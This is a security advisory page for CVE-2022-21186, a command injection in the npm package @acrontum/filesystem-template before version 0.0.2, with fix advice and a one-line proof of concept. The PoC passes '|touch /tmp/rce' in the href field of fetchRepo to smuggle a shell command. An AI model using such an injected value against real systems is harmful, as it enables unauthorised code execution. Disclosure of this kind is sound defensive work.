Arbitrary Command Injection Affecting @acrontum/filesystem-template package, versions <0.0.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.17% (55th
percentile)
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Test your applications- Snyk ID SNYK-JS-ACRONTUMFILESYSTEMTEMPLATE-2419071
- published 20 Jul 2022
- disclosed 6 Mar 2022
- credit Feng Xiao, Zhongfu Su
Introduced: 6 Mar 2022
CVE-2022-21186 Open this link in a new tabHow to fix?
Upgrade @acrontum/filesystem-template to version 0.0.2 or higher.
Overview
@acrontum/filesystem-template is a Filesystem templating engine and project scaffolding tool
Affected versions of this package are vulnerable to Arbitrary Command Injection due to the fetchRepo API missing sanitization of the href field of external input.
PoC:
const filesys = require("@acrontum/filesystem-template")
filesys.fetchRepo({"pathname":"/api/1", "href": "|touch /tmp/rce", "search":"456" })
References
CVSS Scores
version 3.1